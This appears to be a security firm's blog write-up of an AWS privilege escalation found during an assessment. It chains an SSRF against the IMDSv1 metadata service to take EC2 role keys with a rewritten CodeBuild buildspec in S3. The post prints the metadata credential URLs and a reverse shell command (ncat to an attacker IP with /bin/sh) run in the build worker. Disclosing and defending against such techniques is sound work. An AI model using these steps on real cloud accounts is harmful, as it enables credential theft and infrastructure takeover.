In the last decade one of the most common patterns observed in web applications is their shift to cloud environments. This means that in 2023 you can’t evaluate the security of a web application without going through a review of its cloud infrastructure as you might miss the elephant in the room. That’s why we - as in Shielder - always try to learn new techniques to assess the security of cloud environments. This post is about a privilege escalation vector which we have discovered during a recent assessment and which was not documented.
If you have the codebuild:StartBuild
and the s3:PutObject
privileges along with a CodeBuild project which reads its configuration from an S3 bucket you have access to, then you can run arbitrary code in the context of the CodeBuild worker.
Just want to know how to escalate your privileges? Jump to the exploit!
As every most of the cloud-related attacks, everything starts with a Server-Side Request Forgery (SSRF). This happens because most of cloud providers implement a metadata endpoint which could be reached by all the cloud-based resources to query some information about themself, the project they are part of, and sometimes about their authentication keys. A curated list of cloud metadata endpoints for various providers could be found here: https://gist.github.com/jhaddix/78cece26c91c6263653f31ba453e273b.
Our specific scenario was a web application running on an AWS EC2 instance where we did find a full-read SSRF. The first thing you want to understand when it comes to AWS and SSRF is the version of the Instance Metadata Service (IMDS) in use. This is a very important step because based on its version you would need different requirements to interact with it:
The difference is quite significant as for IMDSv1 a regular SSRF is enough, while for IMDSv2 you usually need a very powerful SSRF or you must find a Remote Code Execution (RCE). Hopefully for us our target was using the version 1, therefore the following requests were enough to get the AWS keys for the role assigned to the EC2 instance:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/{name_of_the_role}
Once the AWS Keys have been obtained the first thing you want to do is to understand which privileges are bound to them. To do that you usually have two ways based on the privileges:
Our role had some very interesting privileges, among the others:
s3:*
- which granted us the ability to list the buckets and edit their files.codebuild:ListProjects
- which granted us the ability to list the CodeBuild projects.codebuild:StartBuild
- which granted us the ability to start the build of a CodeBuild project.AWS CodeBuild is a fully managed continuous integration service that compiles source code, runs tests, and produces ready-to-deploy software packages.
Our EC2 instance had access to it as the web application running on it was part of a big infrastructure where:
Having access to CodeBuild is a common vector for privilege escalations as usually in CodeBuild you assign a role to the worker and then you run arbitary code in the worker. The combination of these two elements grants you the ability to assign a role with a higher level of privileges to the worker and then get its AWS keys when the worker runs your code. Unfortunately, for this to work you need the following privileges:
iam:PassRole
- which allows you to assign the role to the worker.codebuild:CreateProject
or codebuild:UpdateProject
- which allows you to create or update a new CodeBuild project.codebuild:StartBuild
or codebuild:StartBuildBatch
- which allows you to start the CodeBuild build process.This technique is very well documented on HackTricks, an awesome list of hacking techniques divided by topic with clear reproduction steps.
Murphy’s law strikes again, our scenario was a little bit different as we did not have the iam:PassRole
privilege and we could not update CodeBuild projects.
First of all we analyzed the available CodeBuild projects and we discovered that most of them had an assigned role which was likely to be more privileged than ours. Moreover, we discovered that CodeBuild grants the ability to store the buildspec configuration file on an S3 bucket. This file is used to rule the build workflow and contains, among the others, the commands to run.
As you might remember we had read/write access to the S3 buckets and we were able to start the build of CodeBuild projects. Does this sound as a privilege escalation vector? Yes - it does!
The plan was to:
buildspec
configuration file on an S3 bucket you have access to.apt-get install nmap -y
ncat <IP> <PORT> -e /bin/sh
http://169.254.169.254/latest/meta-data/iam/security-credentials/
)env
command to obtain the credentials endpoint (http://169.254.170.2/v2/credentials/<UUID>
)Thanks to this exploit we have been able to escalate our privileges to the ones of the CodeBuild project which turned out to be misconfigured and had the iam:*
permission, which basically means it was just a matter of some very basic commands to take over the whole AWS infrastructure.
Hopefully, they chose to act preventively and hired us to unveil their misconfiguration and vulnerabilities before publicly deploying their infrastructure. What about you? Are you using a complex cloud architecture, do you want to learn which are the impacts of the potential vulnerabilities in your cloud hosted web app? Get in touch with us and give a try to our team, they’re ready to unravel the ☁️☁️!
Defenders 🛡️:
Attackers ⚔️: never surrender if the common cheatsheets are not covering your specific scenario - get creative 😉
P.S.: We have done a pull request to HackTricks to implement this technique in their cheatsheet 📄